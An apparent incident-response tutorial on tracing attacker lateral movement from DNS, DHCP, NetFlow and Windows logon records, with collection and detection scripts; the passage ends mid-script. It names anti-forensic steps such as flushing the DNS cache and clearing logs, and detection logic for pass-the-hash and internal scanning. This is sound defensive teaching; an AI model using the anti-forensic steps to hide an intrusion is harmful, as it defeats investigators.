\n\nThe attacker has been in your network for six days. You have no packet capture. You have no IDS tap on east-west traffic. Your NDR license only covers the perimeter. The EDR on the compromised host was disabled on day two. What you do have: DNS server query logs, DHCP lease records, NetFlow from your core switches, and Windows Security event logs from your domain controllers. That is enough if you know exactly what to look for, in what order, and how to correlate across sources that were never designed to talk to each other.
\n
Full packet capture of internal east-west traffic is the gold standard for network forensics. It is also rarely present. The economics don't work for most organizations: capturing all internal traffic at 10Gbps generates roughly 75TB per day, and the storage, licensing, and operational overhead is prohibitive outside of the largest enterprises.
\nWhat almost every organization does have often without realizing its forensic value is a set of indirect network artifacts that, when properly correlated, can reconstruct lateral movement with surprising fidelity. These artifacts are not designed for security. They exist for operational reasons: DHCP assigns IPs, DNS resolves names, NetFlow measures bandwidth, and authentication logs track access control. But together they form a network activity record that tells the story of which machine talked to which other machine, when, using which identity, and with what volume of data.
\nThis post covers:
\nEvery technique includes exact commands, scripts, and queries you can execute during an active investigation.
\nBefore diving into the techniques, understand what each source captures, how long it survives, and what attackers do to destroy it. This determines your evidence collection priority during the first hour of IR.
\n\n| Source | Where Stored | Default Retention | Volatile? | Attacker Can Destroy? |
|---|---|---|---|---|
| Client DNS cache | Memory (Windows DNS Client svc) | Until reboot or TTL expiry | Yes highest | ipconfig /flushdns |
| DNS server query logs | EVTX / flat file on DNS server | Disabled by default | Medium | Clear log, disable logging |
| DHCP server logs | C:\\Windows\\System32\\dhcp\\ | 7 daily log files | Medium | Delete log files |
| DHCP lease database | C:\\Windows\\System32\\dhcp\\dhcp.mdb | Active leases only | Low | Requires DHCP server access |
| NetFlow records | Flow collector appliance/SIEM | Weeks to months | Low | Requires collector access |
| Windows auth logs (4624) | Security.evtx / SIEM | Per log size / SIEM | Medium | Event log clear (1102) |
| ARP table (router) | Router memory | Minutes to hours | Highest | Volatile by design |
| DNS passive records (SIEM) | SIEM if collected | Per SIEM retention | Low | Requires SIEM access |
Collection priority: DNS cache → DHCP DB → Auth logs → NetFlow. The first two expire or get destroyed fastest. NetFlow is typically the most durable artifact.
\nEvery Windows host maintains a local DNS resolver cache an in-memory table of recently resolved hostnames and their IP addresses. This cache is populated every time the host communicates with any other host by name. For lateral movement forensics, this is invaluable: it records the internal hostnames the compromised machine tried to reach, even if those connections happened days ago and left no other trace.
\nThe cache is managed by the DNS Client service (svchost.exe hosting Dnscache). It survives reboots only partially some entries are persisted in the registry for pre-population on next boot.
Live extraction from a running host:
\n:: Basic extraction all cached entries
ipconfig /displaydns
:: Output format for a single entry:
:: Record Name . . . . . : DC02.corp.local
:: Record Type . . . . . : 1 <- A record (IPv4)
:: Time To Live . . . . : 1847 <- seconds remaining before expiry
:: Data Length . . . . . : 4
:: Section . . . . . . . : Answer
:: A (Host) Record . . . : 10.10.1.15
Structured extraction for analysis:
\n# Extract DNS cache as structured objects far more useful than raw ipconfig output
# Run on suspect host or via Invoke-Command for remote collection
$dnsCache = Get-DnsClientCache | Select-Object `
Entry, # The queried hostname
RecordName, # Actual DNS record name (may differ CNAME targets)
RecordType, # 1=A, 28=AAAA, 5=CNAME, 12=PTR, 15=MX
Status, # Success, NotExist, etc.
Section, # Answer, Authority, Additional
TimeToLive, # Remaining TTL in seconds
DataLength,
Data # The resolved IP address
# Filter for internal IP ranges lateral movement candidates
$internalRanges = @('10\\.', '172\\.(1[6-9]|2\\d|3[01])\\.', '192\\.168\\.')
$lateralCandidates = $dnsCache | Where-Object {
$ip = $_.Data
$isInternal = $internalRanges | Where-Object { $ip -match $_ }
$isInternal -and $_.RecordType -eq 1 # A records only
}
$lateralCandidates | Sort-Object Entry | Format-Table -AutoSize
# Export for comparison across multiple hosts
$lateralCandidates | Export-Csv \"dns_cache_$(hostname)_$(Get-Date -Format 'yyyyMMddHHmm').csv\" -NoTypeInformation
Remote collection across all suspect hosts:
\n# Bulk DNS cache collection run from IR workstation with admin rights
$suspectHosts = @(\"WORKSTATION01\", \"WORKSTATION02\", \"SERVER01\")
$allCacheEntries = @()
foreach ($computer in $suspectHosts) {
try {
$entries = Invoke-Command -ComputerName $computer -ScriptBlock {
Get-DnsClientCache | Select-Object Entry, RecordType, TimeToLive, Data,
@{N='SourceHost'; E={$env:COMPUTERNAME}}
} -ErrorAction Stop
$allCacheEntries += $entries
Write-Host \"[+] Collected from $computer : $($entries.Count) entries\"
} catch {
Write-Warning \"[-] Failed on $computer : $_\"
}
}
# Find hosts that queried the same internal target lateral movement breadcrumb
$allCacheEntries |
Where-Object { $_.Data -match '^10\\.' -or $_.Data -match '^172\\.' } |
Group-Object Data |
Where-Object Count -gt 1 | # IP seen in cache on multiple hosts
ForEach-Object {
Write-Host \"Shared target: $($_.Name)\" -ForegroundColor Yellow
$_.Group | Select-Object SourceHost, Entry, TimeToLive | Format-Table
}
Different lateral movement techniques leave distinct DNS cache signatures:
\n\nBloodHound collection is particularly distinctive in DNS cache:
\n# Detect BloodHound-style mass internal resolution burst in DNS cache
# Key indicator: >50 unique internal hostnames resolved in a single cache snapshot
$internalEntries = Get-DnsClientCache |
Where-Object { $_.Data -match '^10\\.' -and $_.RecordType -eq 1 }
# Group by subnet to see spread pattern
$subnetSpread = $internalEntries | ForEach-Object {
$ip = $_.Data
$octets = $ip.Split('.')
\"$($octets[0]).$($octets[1]).$($octets[2]).0/24\"
} | Group-Object | Sort-Object Count -Descending
Write-Host \"Unique subnets contacted: $($subnetSpread.Count)\"
Write-Host \"Unique internal hosts resolved: $($internalEntries.Count)\"
if ($internalEntries.Count -gt 50) {
Write-Warning \"INDICATOR: High internal hostname resolution count possible AD enumeration\"
}
if ($subnetSpread.Count -gt 5) {
Write-Warning \"INDICATOR: Resolutions span >5 subnets possible network discovery\"
}
The client cache is volatile. The DNS server query log is persistent if enabled. Microsoft DNS Server on Windows Server can log all DNS queries received, but this is disabled by default and must be enabled explicitly.
\nEnable DNS debug logging (Windows DNS Server):
\n# Enable DNS analytical logging captures all queries
# Run on DNS server (typically a DC)
# Method 1: Via DNS Management PowerShell module
Set-DnsServerDiagnostics -All $true -ComputerName \"DNS01.corp.local\"
# Method 2: Specific settings balance between detail and volume
Set-DnsServerDiagnostics `
-Queries $true ` # Log all incoming queries
-Answers $true ` # Log responses
-SendPackets $true ` # Log sent packets
-ReceivePackets $true ` # Log received packets
-LogFilePath \"C:\\DNSDebugLog\\dns.log\" `
-MaxMBFileSize 500 ` # 500MB before rotation
-ComputerName \"DNS01.corp.local\"
# Verify logging is active:
Get-DnsServerDiagnostics -ComputerName \"DNS01.corp.local\" |
Select-Object Queries, Answers, LogFilePath, MaxMBFileSize
DNS debug log format and parsing:
\n# Raw DNS debug log entry format:
# Date Time Thread Context Internal(I)/External(E) Response/Send/Receive QueryType RecordType Data
#
# Example entries from a lateral movement scenario:
2025-11-15 02:47:33 0D4 PACKET 000000AA3F012345 UDP Rcv 10.10.5.42 6D43 R Q [8081 DR NOERROR] A (6)TARGET(4)corp(5)local(0)
2025-11-15 02:47:33 0D4 PACKET 000000AA3F012346 UDP Snd 10.10.5.42 6D43 R Q [8081 DR NOERROR] A 10.10.1.55
# This shows: host 10.10.5.42 queried for TARGET.corp.local at 02:47:33
# The DNS server responded with 10.10.1.55
Parse the DNS debug log for lateral movement indicators:
\n#!/usr/bin/env python3
\"\"\"
Parse Windows DNS Server debug log for lateral movement indicators.
Looks for: internal IP clients resolving many internal hostnames (discovery pattern),
clients resolving hostnames they've never queried before, burst query patterns.
\"\"\"
import re
import sys
from collections import defaultdict
from datetime import datetime
def parse_dns_debug_log(log_path):
\"\"\"Parse Windows DNS debug log and extract client->hostname query pairs.\"\"\"
# Pattern for DNS debug log query lines
query_pattern = re.compile(
r'(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}).*?UDP Rcv\\s+([\\d\\.]+)\\s+\\w+\\s+Q\\s+\\[\\w+\\s+\\w+\\s+\\w+\\]\\s+(\\w+)\\s+(.+)'
)
queries = defaultdict(list) # client_ip -> [(timestamp, hostname, query_type)]
with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
for line in f:
m = query_pattern.search(line)
if not m:
continue
ts_str, client_ip, query_type, raw_hostname = m.groups()
# Only interested in internal clients querying internal names
if not client_ip.startswith(('10.', '172.', '192.168.')):
continue
# Clean up the hostname encoding (DNS wire format in debug log)
hostname = raw_hostname.replace('(', '').replace(')', '.').strip('.')
try:
ts = datetime.strptime(ts_str, '%Y-%m-%d %H:%M:%S')
except ValueError:
continue
queries[client_ip].append((ts, hostname, query_type))
return queries
def detect_lateral_movement_patterns(queries, internal_prefix=('10.', '172.', '192.168.')):
\"\"\"Analyze query patterns for lateral movement indicators.\"\"\"
findings = []
for client_ip, query_list in queries.items():
# Sort by timestamp
query_list.sort(key=lambda x: x[0])
# Find bursts: >30 unique internal hostnames resolved in 10 minutes
internal_queries = [
(ts, host) for ts, host, qt in query_list
if any(host.endswith(s) for s in ['.corp.local', '.internal', '.lan'])
]
if len(internal_queries) < 10:
continue
# Sliding 10-minute window
for i, (start_ts, _) in enumerate(internal_queries):
window = [
host for ts, host in internal_queries
if 0 <= (ts - start_ts).total_seconds() <= 600 # 10 min window
]
unique_hosts_in_window = len(set(window))
if unique_hosts_in_window > 30:
findings.append({
'client_ip': client_ip,
'indicator': 'MASS_INTERNAL_RESOLUTION',
'detail': f'{unique_hosts_in_window} unique internal hostnames in 10-minute window starting {start_ts}',
'severity': 'HIGH'
})
break
# Detect unusual timing: queries at off-hours (midnight - 5am)
off_hours_queries = [
(ts, host) for ts, host, qt in query_list
if 0 <= ts.hour < 5
]
if len(off_hours_queries) > 20:
findings.append({
'client_ip': client_ip,
'indicator': 'OFF_HOURS_ACTIVITY',
'detail': f'{len(off_hours_queries)} queries between midnight and 5AM',
'severity': 'MEDIUM'
})
return findings
if __name__ == '__main__':
log_file = sys.argv[1] if len(sys.argv) > 1 else r'C:\\DNSDebugLog\\dns.log'
print(f\"[*] Parsing DNS debug log: {log_file}\")
queries = parse_dns_debug_log(log_file)
print(f\"[*] Found {len(queries)} unique client IPs\")
findings = detect_lateral_movement_patterns(queries)
if not findings:
print(\"[+] No lateral movement indicators detected\")
else:
print(f\"\\n[!] {len(findings)} INDICATORS DETECTED:\\n\")
for f in sorted(findings, key=lambda x: x['severity']):
print(f\" [{f['severity']}] {f['client_ip']}: {f['indicator']}\")
print(f\" {f['detail']}\\n\")
In any active investigation, you will frequently encounter IP addresses in NetFlow, DNS query logs, and authentication logs with no hostname context. Without DHCP correlation, 10.10.5.42 is meaningless. With DHCP logs, 10.10.5.42 becomes LAPTOP-JSMITH with MAC address 00:1A:2B:3C:4D:5E immediately correlating to a specific user and device in your asset inventory.
DHCP logs are the IP-to-identity translation layer that makes all other network forensic data actionable.
\nWindows DHCP Server maintains daily rotating log files at:
\nC:\\Windows\\System32\\dhcp\\DhcpSrvLog-Mon.log
C:\\Windows\\System32\\dhcp\\DhcpSrvLog-Tue.log
...
C:\\Windows\\System32\\dhcp\\DhcpSrvLog-Sun.log
Each line is CSV-formatted:
\nID,Date,Time,Description,IP Address,Host Name,MAC Address,User Name,...
10,11/15/25,02:31:04,Assign,10.10.5.42,LAPTOP-JSMITH,00-1A-2B-3C-4D-5E,,0...
11,11/15/25,02:31:04,Renew,10.10.5.42,LAPTOP-JSMITH,00-1A-2B-3C-4D-5E,,0...
12,11/15/25,10:44:17,Release,10.10.5.42,LAPTOP-JSMITH,00-1A-2B-3C-4D-5E,,0...
Key Event IDs in DHCP logs:
\n| ID | Description | Forensic Significance |
|---|---|---|
| 10 | Assign | New lease device appeared on network at this time |
| 11 | Renew | Lease renewal device still active |
| 12 | Release | Client gracefully released IP clean shutdown |
| 13 | DNS Update | DHCP registered DNS A record on behalf of client |
| 14 | DNS Update Failed | DNS dynamic update failed may indicate DNS manipulation |
| 15 | Lease Expired | Client dropped off without releasing crash, abrupt disconnect |
| 24 | IP Address in Use | Conflict potentially unauthorized static IP or spoofed MAC |
| 25 | IP Address Deleted | Lease manually deleted by admin |
| 50-59 | IPv6 equivalents | Same semantics, IPv6 addresses |
#!/usr/bin/env python3
\"\"\"
Parse all Windows DHCP server log files in a directory.
Builds a time-aware IP-to-hostname mapping for correlation with
other forensic artifacts during incident response.
\"\"\"
import os
import csv
import glob
from datetime import datetime
from collections import defaultdict
DHCP_EVENT_TYPES = {
'10': 'Assign',
'11': 'Renew',
'12': 'Release',
'13': 'DNS_Update',
'14': 'DNS_Update_Failed',
'15': 'Lease_Expired',
'24': 'IP_Conflict',
'25': 'Lease_Deleted'
}
def parse_dhcp_logs(log_dir):
\"\"\"
Parse all DhcpSrvLog-*.log files in directory.
Returns list of lease events sorted by timestamp.
\"\"\"
events = []
log_files = glob.glob(os.path.join(log_dir, 'DhcpSrvLog-*.log'))
for log_file in log_files:
with open(log_file, 'r', encoding='utf-8', errors='replace') as f:
for line in f:
line = line.strip()
# Skip header lines and comments
if not line or line.startswith('ID') or line.startswith('Microsoft') or \\
line.startswith('Start') or line.startswith('Date'):
continue
parts = line.split(',')
if len(parts) < 7:
continue
event_id = parts[0].strip()
if event_id not in DHCP_EVENT_TYPES:
continue
try:
date_str = parts[1].strip()
time_str = parts[2].strip()
timestamp = datetime.strptime(f\"{date_str} {time_str}\", \"%m/%d/%y %H:%M:%S\")
except (ValueError, IndexError):
continue
events.append({
'timestamp': timestamp,
'event_type': DHCP_EVENT_TYPES[event_id],
'ip_address': parts[4].strip(),
'hostname': parts[5].strip(),
'mac_address': parts[6].strip().replace('-', ':').upper(),
'source_file': os.path.basename(log_file)
})
return sorted(events, key=lambda x: x['timestamp'])
def build_ip_timeline(events):
\"\"\"
Build a timeline of which hostname held which IP at what time.
Essential for correlating IP addresses seen in other log sources.
\"\"\"
ip_timeline = defaultdict(list) # ip -> [(start_time, end_time, hostname, mac)]
active_leases = {} # ip -> (start_time, hostname, mac)
for event in events:
ip = event['ip_address']
hostname = event['hostname']
mac = event['mac_address']
ts = event['timestamp']
if event['event_type'] in ('Assign',):
# New lease assigned record start
if ip in active_leases:
# Previous lease ended without explicit release
prev_start, prev_host, prev_mac = active_leases[ip]
ip_timeline[ip].append((prev_start, ts, prev_host, prev_mac))
active_leases[ip] = (ts, hostname, mac)
elif event['event_type'] in ('Release', 'Lease_Expired'):
# Lease ended
if ip in active_leases:
start_ts, prev_host, prev_mac = active_leases.pop(ip)
ip_timeline[ip].append((start_ts, ts, prev_host, prev_mac))
# Close any still-active leases
for ip, (start_ts, hostname, mac) in active_leases.items():
ip_timeline[ip].append((start_ts, None, hostname, mac)) # None = still active
return ip_timeline
def resolve_ip_at_time(ip_timeline, ip_address, query_time):
\"\"\"
Given an IP address and a timestamp, return what hostname held that IP.
The critical function for correlating network events to hostnames.
\"\"\"
if ip_address not in ip_timeline:
return None
for start_ts, end_ts, hostname, mac in ip_timeline[ip_address]:
if start_ts <= query_time:
if end_ts is None or query_time <= end_ts:
return {
'hostname': hostname,
'mac': mac,
'lease_start': start_ts,
'lease_end': end_ts
}
return None
# Example usage during IR:
if __name__ == '__main__':
DHCP_LOG_DIR = r'C:\\Windows\\System32\\dhcp'
print(\"[*] Parsing DHCP logs...\")
events = parse_dhcp_logs(DHCP_LOG_DIR)
print(f\"[*] Parsed {len(events)} DHCP events\")
ip_timeline = build_ip_timeline(events)
print(f\"[*] Built timeline for {len(ip_timeline)} unique IP addresses\")
# Example: resolve IP seen in NetFlow at a specific time
investigation_ip = '10.10.5.42'
investigation_time = datetime(2025, 11, 15, 2, 47, 33) # From DNS/NetFlow log
result = resolve_ip_at_time(ip_timeline, investigation_ip, investigation_time)
if result:
print(f\"\\n[+] At {investigation_time}, {investigation_ip} was held by:\")
print(f\" Hostname: {result['hostname']}\")
print(f\" MAC: {result['mac']}\")
print(f\" Lease: {result['lease_start']} → {result['lease_end'] or 'Active'}\")
else:
print(f\"[-] No DHCP record for {investigation_ip} at {investigation_time}\")
print(\" Possible: static IP, rogue device, or DHCP logs pre-date the event\")
A common attacker technique is bringing a rogue device onto the network or spoofing a MAC address. DHCP logs expose both:
\n# Detect MAC addresses seen with multiple different hostnames (MAC reuse or spoofing)
$dhcpLogDir = \"C:\\Windows\\System32\\dhcp\"
$assignEvents = @()
Get-ChildItem \"$dhcpLogDir\\DhcpSrvLog-*.log\" | ForEach-Object {
Get-Content $_.FullName | Where-Object { $_ -match '^10,' } | # Event ID 10 = Assign
ForEach-Object {
$parts = $_ -split ','
if ($parts.Count -ge 7 -and $parts[6] -ne '') {
$assignEvents += [PSCustomObject]@{
Timestamp = \"$($parts[1]) $($parts[2])\"
IP = $parts[4]
Hostname = $parts[5]
MAC = $parts[6]
}
}
}
}
# MAC with multiple hostnames = suspicious
$assignEvents |
Group-Object MAC |
Where-Object { ($_.Group.Hostname | Sort-Object -Unique).Count -gt 1 } |
ForEach-Object {
$hostnames = ($_.Group.Hostname | Sort-Object -Unique) -join ', '
Write-Warning \"MAC $($_.Name) seen with multiple hostnames: $hostnames\"
$_.Group | Sort-Object Timestamp | Select-Object Timestamp, IP, Hostname, MAC |
Format-Table -AutoSize
}
NetFlow (Cisco's original protocol) and its successors IPFIX and sFlow record connection metadata not packet content. For each network flow (defined as packets sharing the same 5-tuple: source IP, destination IP, source port, destination port, protocol), NetFlow records:
\nNetFlow v9 / IPFIX Record Fields:
──────────────────────────────────────────────────────────────────
Field Type Forensic Value
──────────────────────────────────────────────────────────────────
src_addr IPv4/6 Source IP address
dst_addr IPv4/6 Destination IP address
src_port uint16 Source port (ephemeral for clients)
dst_port uint16 Destination port (service identifier)
protocol uint8 6=TCP, 17=UDP, 1=ICMP
flow_start datetime When the flow began
flow_end datetime When the flow ended
in_bytes uint64 Bytes from src to dst
out_bytes uint64 Bytes from dst to src (bidirectional flows)
tcp_flags uint8 SYN, ACK, RST, FIN combinations
input_snmp uint32 Router interface index (ingress)
output_snmp uint32 Router interface index (egress)
──────────────────────────────────────────────────────────────────
What NetFlow does NOT contain: packet payload, request/response content, authentication details, or process names. It tells you that a connection happened, when, for how long, and how much data moved. Combined with DHCP and auth logs, this is sufficient to reconstruct lateral movement.
\nIf NetFlow is not already configured, enabling it retroactively gives you forward coverage. It does not recover historical data.
\n# Cisco IOS enable NetFlow on internal switch interfaces
ip flow-export destination 10.10.1.100 9995 ! SIEM / flow collector IP and port
ip flow-export version 9
ip flow-export source GigabitEthernet0/0
interface GigabitEthernet0/1 ! Repeat for each internal-facing interface
ip flow ingress
ip flow egress
! Verify:
show ip flow export
show ip cache flow
# Cisco NX-OS (datacenter switches):
feature netflow
flow record SECURITY-RECORD
match ipv4 source address
match ipv4 destination address
match transport source-port
match transport destination-port
match ip protocol
collect counter bytes
collect counter packets
collect transport tcp flags
collect timestamp sys-uptime first
collect timestamp sys-uptime last
flow exporter SIEM-EXPORT
destination 10.10.1.100
transport udp 9995
version 9
flow monitor SECURITY-MONITOR
record SECURITY-RECORD
exporter SIEM-EXPORT
cache timeout active 60
interface Ethernet1/1
ip flow monitor SECURITY-MONITOR input
ip flow monitor SECURITY-MONITOR output
Most enterprises store NetFlow in a collector (SolarWinds NTA, Elastic with Logstash, Splunk stream, open-source ntopng/nfdump). The following queries work with nfdump (open-source command-line NetFlow analyzer):
\n# nfdump is installed on most Linux-based flow collectors
# NetFlow files typically stored in: /var/cache/nfdump/ or /opt/nfdump/data/
# ─── SCENARIO 1: Find all connections FROM a known compromised host ───
# Replace 10.10.5.42 with the source IP you're investigating
nfdump -R /var/cache/nfdump/2025/11/15/ \\
-t \"2025-11-15 00:00:00-2025-11-15 23:59:59\" \\
-o \"fmt:%ts %te %sa %da %dp %pr %byt %pkt %flg\" \\
\"src ip 10.10.5.42 and not dst ip 10.10.5.42\" | \\
sort -k4 # Sort by destination IP to group lateral targets
# ─── SCENARIO 2: Detect internal port scanning ───
# High number of unique destinations on the same port = scanning
nfdump -R /var/cache/nfdump/2025/11/15/ \\
-o \"fmt:%sa %da %dp %pr %flg\" \\
\"src net 10.10.0.0/16 and dst net 10.10.0.0/16 and \\
(dst port 445 or dst port 135 or dst port 3389 or dst port 5985)\" | \\
awk '{print $1\" \"$3}' | \\ # Source IP + Destination Port
sort | uniq -c | sort -rn | head -30
# Output: count src_ip dst_port
# High counts on port 445 from single source = SMB scanning = BloodHound or lateral prep
# ─── SCENARIO 3: Find SMB connections (port 445) between workstations ───
# Workstation-to-workstation SMB is almost never legitimate in modern environments
# Adjust subnet ranges for your network
nfdump -R /var/cache/nfdump/2025/11/15/ \\
-o \"fmt:%ts %sa %da %dp %byt %flg\" \\
\"dst port 445 and src net 10.10.0.0/24 and dst net 10.10.0.0/24\" | \\
grep -v \"10.10.0.10\" # Exclude file server if one exists in that subnet
# ─── SCENARIO 4: Detect RDP lateral movement ───
nfdump -R /var/cache/nfdump/2025/11/15/ \\
-o \"fmt:%ts %te %sa %da %byt\" \\
\"dst port 3389 and src net 10.10.0.0/16 and dst net 10.10.0.0/16\" | \\
awk '{ bytes=$5; src=$3; dst=$4
if (bytes > 0) print src \" -> \" dst \" bytes=\" bytes }' | \\
sort | uniq -c | sort -rn
# ─── SCENARIO 5: WinRM lateral movement (port 5985) ───
# PowerShell remoting rarely legitimate between workstations
nfdump -R /var/cache/nfdump/2025/11/15/ \\
-o \"fmt:%ts %sa %da %byt\" \\
\"dst port 5985 and src net 10.10.0.0/16\"
# ─── SCENARIO 6: Data staging large internal transfers ───
# Before exfiltration, attackers stage data on a single host
# Look for unusually large transfers TO a single internal host
nfdump -R /var/cache/nfdump/2025/11/15/ \\
-o \"fmt:%sa %da %byt\" \\
\"src net 10.10.0.0/16 and dst net 10.10.0.0/16\" | \\
awk '{bytes[$2] += $3} END {for (dst in bytes) print bytes[dst], dst}' | \\
sort -rn | head -20 | \\
awk '{gb=$1/1073741824; printf \"%-15s received %.2f GB\\n\", $2, gb}'
Splunk SPL equivalent for organizations storing NetFlow in Splunk:
\n| tstats count, sum(bytes) as total_bytes, dc(dest_ip) as unique_dests
WHERE index=netflow earliest=-24h
BY src_ip, dest_port
| where dest_port IN (445, 135, 3389, 5985, 5986, 22)
AND src_ip LIKE \"10.10.%\"
| eval is_internal_src = if(match(src_ip, \"^10\\.10\\.\"), 1, 0)
| where is_internal_src=1
| where unique_dests > 5 /* scanning: one source hitting many destinations */
| eval total_GB = round(total_bytes/1073741824, 3)
| sort -unique_dests
| table src_ip, dest_port, unique_dests, count, total_GB
TCP flags in NetFlow records reveal the nature of a connection without needing packet content. This is particularly useful for distinguishing scanning from actual sessions:
\nTCP Flags in NetFlow (hex byte):
─────────────────────────────────────────────────────────────────
Flag Hex Meaning in NetFlow Attacker Significance
─────────────────────────────────────────────────────────────────
SYN 0x02 Connection attempt Scanning: many SYN with no SYN-ACK response
SYN-ACK 0x12 Connection accepted Normal connection establishment
RST 0x04 Connection refused/reset Port closed target not listening
FIN-ACK 0x11 Clean session termination Full session completed
SYN-RST 0x06 SYN followed immediately by RST Stealth scan (half-open)
PSH-ACK 0x18 Data transfer in progress Active session with data movement
─────────────────────────────────────────────────────────────────
# Find SYN-only flows (scanning connections never completed)
# High ratio of SYN-only to SYN-ACK on internal scanning traffic
nfdump -R /var/cache/nfdump/2025/11/15/ \\
-o \"fmt:%ts %sa %da %dp %flg %pkt\" \\
\"src net 10.10.0.0/16 and dst port 445\" | \\
awk '
/\\.S\\.\\.\\.\\./ { syn_only[$3]++ } # SYN flag only = unresponded
/\\.SA\\.\\.\\.\\./ { syn_ack[$3]++ } # SYN-ACK = completed handshake
END {
for (dst in syn_only) {
ratio = (syn_ack[dst] > 0) ? syn_only[dst]/syn_ack[dst] : 999
if (ratio > 10) { # 10x more SYN than SYN-ACK = scanning
printf \"SCAN detected toward %s: %d SYN, %d SYN-ACK, ratio=%.1f\\n\",
dst, syn_only[dst], syn_ack[dst], ratio
}
}
}
'
Windows Security event logs on Domain Controllers capture every network authentication attempt in the domain. These events are the identity layer they tell you which account was used for which network connection, from which source machine.
\n\nThe key event IDs for network forensics correlation:
\n| Event ID | Log Location | What It Records | Lateral Movement Significance |
|---|---|---|---|
| 4624 | Security (target host) | Successful logon | Type 3 = network logon; maps network connection to identity |
| 4625 | Security (target host) | Failed logon | Brute force, pass-the-hash failures, scanning |
| 4648 | Security (source host) | Explicit credentials used | Attacker using alternate credentials from a host |
| 4672 | Security (target host) | Special privileges assigned | Admin-equivalent access on target |
| 4769 | Security (DC) | Kerberos TGS request | Which service ticket was requested from which host |
| 4776 | Security (DC) | NTLM credential validation | NTLM auth includes source workstation and account |
| 4768 | Security (DC) | Kerberos TGT request | Initial Kerberos auth includes source IP |
| 4771 | Security (DC) | Kerberos pre-auth failure | Failed Kerberos password spray, enumeration |
The most powerful query in Windows auth log forensics: find every machine that jsmith@corp.local authenticated to, in chronological order. This is the lateral movement chain.
# Build authentication chain for a specific account across all DCs
# Run against your SIEM or directly against DC Security logs
$targetAccount = \"jsmith\"
$startTime = [DateTime]::Parse(\"2025-11-15 00:00:00\")
$endTime = [DateTime]::Parse(\"2025-11-16 00:00:00\")
# Query all DCs for logon events involving the account
$domainControllers = (Get-ADDomainController -Filter *).Name
$authEvents = @()
foreach ($dc in $domainControllers) {
Write-Host \"Querying $dc...\"
# Event 4624 (logon) and 4648 (explicit creds) and 4769 (Kerberos TGS)
$filter = @{
LogName = 'Security'
Id = @(4624, 4648, 4769, 4776)
StartTime = $startTime
EndTime = $endTime
}
try {
$events = Get-WinEvent -ComputerName $dc -FilterHashtable $filter `
-ErrorAction Stop
foreach ($event in $events) {
$xml = [xml]$event.ToXml()
$data = $xml.Event.EventData.Data
# Extract relevant fields based on event ID
$entry = [PSCustomObject]@{
Timestamp = $event.TimeCreated
EventID = $event.Id
DC = $dc
AccountName = ($data | Where-Object Name -eq 'TargetUserName').'#text'
AccountDomain = ($data | Where-Object Name -eq 'TargetDomainName').'#text'
SourceIP = ($data | Where-Object Name -eq 'IpAddress').'#text'
Workstation = ($data | Where-Object Name -eq 'WorkstationName').'#text'
LogonType = ($data | Where-Object Name -eq 'LogonType').'#text'
AuthPackage = ($data | Where-Object Name -eq 'AuthenticationPackageName').'#text'
ServiceName = ($data | Where-Object Name -eq 'ServiceName').'#text'
LogonID = ($data | Where-Object Name -eq 'TargetLogonId').'#text'
}
# Filter for our target account
if ($entry.AccountName -like \"*$targetAccount*\") {
$authEvents += $entry
}
}
} catch {
Write-Warning \"Failed on $dc : $_\"
}
}
# Sort and display the movement chain
$authEvents | Sort-Object Timestamp | Format-Table Timestamp, EventID, SourceIP, Workstation, ServiceName, LogonType, AuthPackage -AutoSize
# Export for correlation with NetFlow and DNS data
$authEvents | Export-Csv \"auth_chain_${targetAccount}.csv\" -NoTypeInformation
The authentication package field in Event 4624 reveals the technique:
\nEvent 4624 field analysis for lateral movement technique identification:
LogonType=3 (Network) + AuthPackage=NTLM + Source workstation mismatch = Pass-the-Hash
LogonType=3 (Network) + AuthPackage=Kerberos + Normal hours = Likely legitimate
LogonType=3 (Network) + AuthPackage=Kerberos + Off hours + no prior logon type 2 on that host = Suspicious
LogonType=9 (NewCredentials) + AuthPackage=NTLM = Explicit alternate credentials (runas /netonly or Invoke-Command with PSCredential)
LogonType=10 (RemoteInteractive) = RDP session
Pass-the-Hash specific indicator in Event 4624:
KeyLength: 0 ← This field being 0 in a Type 3 NTLM logon
indicates no session key negotiated = pass-the-hash
# Detect pass-the-hash by finding Type 3 NTLM logons with KeyLength=0
# and where the workstation doesn't match the source IP DHCP assignment
$pthIndicators = Get-WinEvent -ComputerName $dc -FilterHashtable @{
LogName = 'Security'; Id = 4624; StartTime = $startTime; EndTime = $endTime
} | ForEach-Object {
$xml = [xml]$_.ToXml()
$data = $xml.Event.EventData.Data
$logonType = ($data | Where-Object Name -eq 'LogonType').'#text'
$authPkg = ($data | Where-Object Name -eq 'AuthenticationPackageName').'#text'
$keyLength = ($data | Where-Object Name -eq 'KeyLength').'#text'
$sourceIP = ($data | Where-Object Name -eq 'IpAddress').'#text'
$workstation = ($data | Where-Object Name -eq 'WorkstationName').'#text'
$account = ($data | Where-Object Name -eq 'TargetUserName').'#text'
# Pass-the-hash indicators:
# Type 3 network logon + NTLM + KeyLength 0
if ($logonType -eq '3' -and $authPkg -eq 'NTLM' -and $keyLength -eq '0') {
[PSCustomObject]@{
Timestamp = $_.TimeCreated
Account = $account
SourceIP = $sourceIP
Workstation = $workstation
KeyLength = $keyLength
Indicator = 'POSSIBLE_PASS_THE_HASH'
}
}
} | Where-Object { $_ -ne $null }
$pthIndicators | Sort-Object Timestamp | Format-Table -AutoSize
This is where the forensic picture comes together. Each source tells a partial story. The JOIN across all four sources builds the complete lateral movement timeline.
\n\n#!/usr/bin/env python3
\"\"\"
Cross-source correlation engine for network forensics.
Joins NetFlow, DHCP, DNS cache, and Windows auth logs
to reconstruct lateral movement timelines.
Input files:
- netflow.csv: ts, src_ip, dst_ip, dst_port, bytes, flags
- dhcp.csv: timestamp, event_type, ip, hostname, mac
- auth.csv: timestamp, event_id, source_ip, account, logon_type, auth_pkg, key_length
- dns_cache.csv: source_host, resolved_hostname, resolved_ip, ttl
Output:
Lateral movement events with full context enrichment.
\"\"\"
import csv
import json
from datetime import datetime, timedelta
from collections import defaultdict
class NetworkForensicsCorrelator:
def __init__(self):
self.ip_timeline = {} # ip -> [(start, end, hostname, mac)]
self.auth_events = [] # list of auth log records
self.netflow_events = [] # list of flow records
self.dns_observations = {} # source_host -> [resolved_ips]
def load_dhcp(self, csv_path):
\"\"\"Load and build IP timeline from DHCP logs.\"\"\"
events = []
with open(csv_path) as f:
for row in csv.DictReader(f):
try:
events.append({
'ts': datetime.fromisoformat(row['timestamp']),
'type': row['event_type'],
'ip': row['ip'],
'hostname': row['hostname'],
'mac': row['mac']
})
except (ValueError, KeyError):
continue
